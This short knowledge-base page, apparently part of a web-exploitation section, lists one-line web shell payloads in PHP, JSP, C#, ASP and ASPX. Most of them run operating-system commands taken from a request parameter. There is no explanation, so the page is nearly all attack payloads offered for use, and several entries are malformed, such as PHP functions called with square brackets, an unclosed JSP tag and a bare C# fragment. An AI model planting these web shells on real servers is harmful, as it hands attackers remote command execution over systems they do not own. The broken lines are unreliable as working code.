> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/web-shell.md).

# WEB Shell

### PHP

```bash
<?php echo $_REQUEST['param'] ?>
<?php system['param'] ?>
<?php echo exec['param'] ?>
<?php echo shell_exec['param'] ?>
<?php echo passthru($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
<?php echo `whoami`; ?>
```

###

### Java

```bash
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %
```

###

### C\#

```bash
Request['param']
```

###

### ASP

```bash
<% eval request("cmd") %>
```

###

### ASPX

```bash
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
```
